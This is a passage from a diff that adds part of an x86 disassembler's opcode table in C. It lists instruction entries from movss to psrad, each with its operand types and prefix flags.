*/ { UD_Imovss, O_V, O_MdU, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0929 */ { UD_Imovss, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0930 */ { UD_Imovsx, O_Gv, O_Eb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0931 */ { UD_Imovsx, O_Gy, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0932 */ { UD_Imovupd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0933 */ { UD_Ivmovupd, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0934 */ { UD_Imovupd, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0935 */ { UD_Ivmovupd, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0936 */ { UD_Imovups, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0937 */ { UD_Ivmovups, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0938 */ { UD_Imovups, O_W, O_V, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0939 */ { UD_Ivmovups, O_Wx, O_Vx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0940 */ { UD_Imovzx, O_Gv, O_Eb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0941 */ { UD_Imovzx, O_Gy, O_Ew, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0942 */ { UD_Imul, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0943 */ { UD_Imul, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0944 */ { UD_Imulpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0945 */ { UD_Ivmulpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0946 */ { UD_Imulps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0947 */ { UD_Ivmulps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0948 */ { UD_Imulsd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0949 */ { UD_Ivmulsd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0950 */ { UD_Imulss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0951 */ { UD_Ivmulss, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0952 */ { UD_Imwait, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 0953 */ { UD_Ineg, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0954 */ { UD_Ineg, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0955 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0956 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0957 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0958 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0959 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0960 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0961 */ { UD_Inop, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0962 */ { UD_Inot, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0963 */ { UD_Inot, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0964 */ { UD_Ior, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0965 */ { UD_Ior, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0966 */ { UD_Ior, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0967 */ { UD_Ior, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0968 */ { UD_Ior, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 0969 */ { UD_Ior, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 0970 */ { UD_Ior, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0971 */ { UD_Ior, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0972 */ { UD_Ior, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0973 */ { UD_Ior, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 0974 */ { UD_Iorpd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0975 */ { UD_Ivorpd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0976 */ { UD_Iorps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0977 */ { UD_Ivorps, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0978 */ { UD_Iout, O_Ib, O_AL, O_NONE, O_NONE, P_none }, + /* 0979 */ { UD_Iout, O_Ib, O_eAX, O_NONE, O_NONE, P_oso }, + /* 0980 */ { UD_Iout, O_DX, O_AL, O_NONE, O_NONE, P_none }, + /* 0981 */ { UD_Iout, O_DX, O_eAX, O_NONE, O_NONE, P_oso }, + /* 0982 */ { UD_Ioutsb, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_seg }, + /* 0983 */ { UD_Ioutsw, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0984 */ { UD_Ioutsd, O_NONE, O_NONE, O_NONE, O_NONE, P_str|P_oso|P_seg }, + /* 0985 */ { UD_Ipacksswb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0986 */ { UD_Ivpacksswb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0987 */ { UD_Ipacksswb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0988 */ { UD_Ipackssdw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0989 */ { UD_Ivpackssdw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0990 */ { UD_Ipackssdw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0991 */ { UD_Ipackuswb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0992 */ { UD_Ivpackuswb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0993 */ { UD_Ipackuswb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0994 */ { UD_Ipaddb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0995 */ { UD_Ivpaddb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 0996 */ { UD_Ipaddb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0997 */ { UD_Ipaddw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0998 */ { UD_Ipaddw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 0999 */ { UD_Ivpaddw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1000 */ { UD_Ipaddd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1001 */ { UD_Ipaddd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1002 */ { UD_Ivpaddd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1003 */ { UD_Ipaddsb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1004 */ { UD_Ipaddsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1005 */ { UD_Ivpaddsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1006 */ { UD_Ipaddsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1007 */ { UD_Ipaddsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1008 */ { UD_Ivpaddsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1009 */ { UD_Ipaddusb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1010 */ { UD_Ipaddusb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1011 */ { UD_Ivpaddusb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1012 */ { UD_Ipaddusw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1013 */ { UD_Ipaddusw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1014 */ { UD_Ivpaddusw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1015 */ { UD_Ipand, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1016 */ { UD_Ivpand, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1017 */ { UD_Ipand, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1018 */ { UD_Ipandn, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1019 */ { UD_Ivpandn, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1020 */ { UD_Ipandn, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1021 */ { UD_Ipavgb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1022 */ { UD_Ivpavgb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1023 */ { UD_Ipavgb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1024 */ { UD_Ipavgw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1025 */ { UD_Ivpavgw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1026 */ { UD_Ipavgw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1027 */ { UD_Ipcmpeqb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1028 */ { UD_Ipcmpeqb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1029 */ { UD_Ivpcmpeqb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1030 */ { UD_Ipcmpeqw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1031 */ { UD_Ipcmpeqw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1032 */ { UD_Ivpcmpeqw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1033 */ { UD_Ipcmpeqd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1034 */ { UD_Ipcmpeqd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1035 */ { UD_Ivpcmpeqd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1036 */ { UD_Ipcmpgtb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1037 */ { UD_Ivpcmpgtb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1038 */ { UD_Ipcmpgtb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1039 */ { UD_Ipcmpgtw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1040 */ { UD_Ivpcmpgtw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1041 */ { UD_Ipcmpgtw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1042 */ { UD_Ipcmpgtd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1043 */ { UD_Ivpcmpgtd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1044 */ { UD_Ipcmpgtd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1045 */ { UD_Ipextrb, O_MbRv, O_V, O_Ib, O_NONE, P_aso|P_rexx|P_rexr|P_rexb|P_def64 }, + /* 1046 */ { UD_Ivpextrb, O_MbRv, O_Vx, O_Ib, O_NONE, P_aso|P_rexx|P_rexr|P_rexb|P_def64 }, + /* 1047 */ { UD_Ipextrd, O_Ed, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1048 */ { UD_Ivpextrd, O_Ed, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1049 */ { UD_Ipextrd, O_Ed, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1050 */ { UD_Ivpextrd, O_Ed, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexw|P_rexb }, + /* 1051 */ { UD_Ipextrq, O_Eq, O_V, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexb|P_def64 }, + /* 1052 */ { UD_Ivpextrq, O_Eq, O_Vx, O_Ib, O_NONE, P_aso|P_rexr|P_rexw|P_rexb|P_def64 }, + /* 1053 */ { UD_Ipextrw, O_Gd, O_U, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexb }, + /* 1054 */ { UD_Ivpextrw, O_Gd, O_Ux, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexb }, + /* 1055 */ { UD_Ipextrw, O_Gd, O_N, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1056 */ { UD_Ipextrw, O_MwRd, O_V, O_Ib, O_NONE, P_aso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 1057 */ { UD_Ivpextrw, O_MwRd, O_Vx, O_Ib, O_NONE, P_aso|P_rexw|P_rexx|P_rexr|P_rexb }, + /* 1058 */ { UD_Ipinsrb, O_V, O_MbRd, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1059 */ { UD_Ipinsrw, O_P, O_MwRy, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1060 */ { UD_Ipinsrw, O_V, O_MwRy, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1061 */ { UD_Ivpinsrw, O_Vx, O_MwRy, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1062 */ { UD_Ipinsrd, O_V, O_Ed, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1063 */ { UD_Ipinsrd, O_V, O_Ed, O_Ib, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1064 */ { UD_Ipinsrq, O_V, O_Eq, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1065 */ { UD_Ivpinsrb, O_V, O_H, O_MbRd, O_Ib, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1066 */ { UD_Ivpinsrd, O_V, O_H, O_Ed, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1067 */ { UD_Ivpinsrd, O_V, O_H, O_Ed, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1068 */ { UD_Ivpinsrq, O_V, O_H, O_Eq, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1069 */ { UD_Ipmaddwd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1070 */ { UD_Ipmaddwd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1071 */ { UD_Ivpmaddwd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1072 */ { UD_Ipmaxsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1073 */ { UD_Ivpmaxsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1074 */ { UD_Ipmaxsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1075 */ { UD_Ipmaxub, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1076 */ { UD_Ipmaxub, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1077 */ { UD_Ivpmaxub, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1078 */ { UD_Ipminsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1079 */ { UD_Ivpminsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1080 */ { UD_Ipminsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1081 */ { UD_Ipminub, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1082 */ { UD_Ivpminub, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1083 */ { UD_Ipminub, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1084 */ { UD_Ipmovmskb, O_Gd, O_U, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexb }, + /* 1085 */ { UD_Ivpmovmskb, O_Gd, O_Ux, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexb }, + /* 1086 */ { UD_Ipmovmskb, O_Gd, O_N, O_NONE, O_NONE, P_oso|P_rexr|P_rexw|P_rexb }, + /* 1087 */ { UD_Ipmulhuw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1088 */ { UD_Ipmulhuw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1089 */ { UD_Ivpmulhuw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1090 */ { UD_Ipmulhw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1091 */ { UD_Ivpmulhw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1092 */ { UD_Ipmulhw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1093 */ { UD_Ipmullw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1094 */ { UD_Ipmullw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1095 */ { UD_Ivpmullw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1096 */ { UD_Ipop, O_ES, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1097 */ { UD_Ipop, O_SS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1098 */ { UD_Ipop, O_DS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1099 */ { UD_Ipop, O_GS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1100 */ { UD_Ipop, O_FS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1101 */ { UD_Ipop, O_R0v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1102 */ { UD_Ipop, O_R1v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1103 */ { UD_Ipop, O_R2v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1104 */ { UD_Ipop, O_R3v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1105 */ { UD_Ipop, O_R4v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1106 */ { UD_Ipop, O_R5v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1107 */ { UD_Ipop, O_R6v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1108 */ { UD_Ipop, O_R7v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1109 */ { UD_Ipop, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1110 */ { UD_Ipopa, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1111 */ { UD_Ipopad, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1112 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1113 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1114 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1115 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1116 */ { UD_Ipor, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1117 */ { UD_Ivpor, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1118 */ { UD_Ipor, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1119 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1120 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1121 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1122 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1123 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1124 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1125 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1126 */ { UD_Iprefetch, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1127 */ { UD_Iprefetchnta, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1128 */ { UD_Iprefetcht0, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1129 */ { UD_Iprefetcht1, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1130 */ { UD_Iprefetcht2, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1131 */ { UD_Ipsadbw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1132 */ { UD_Ivpsadbw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1133 */ { UD_Ipsadbw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1134 */ { UD_Ipshufw, O_P, O_Q, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1135 */ { UD_Ipsllw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1136 */ { UD_Ipsllw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1137 */ { UD_Ipsllw, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1138 */ { UD_Ipsllw, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1139 */ { UD_Ipslld, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1140 */ { UD_Ipslld, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1141 */ { UD_Ipslld, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1142 */ { UD_Ipslld, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1143 */ { UD_Ipsllq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1144 */ { UD_Ipsllq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1145 */ { UD_Ipsllq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1146 */ { UD_Ipsllq, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1147 */ { UD_Ipsraw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1148 */ { UD_Ipsraw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1149 */ { UD_Ivpsraw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1150 */ { UD_Ipsraw, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1151 */ { UD_Ivpsraw, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1152 */ { UD_Ipsraw, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1153 */ { UD_Ipsrad, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1154 */ { UD_Ipsrad, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1155 */ { 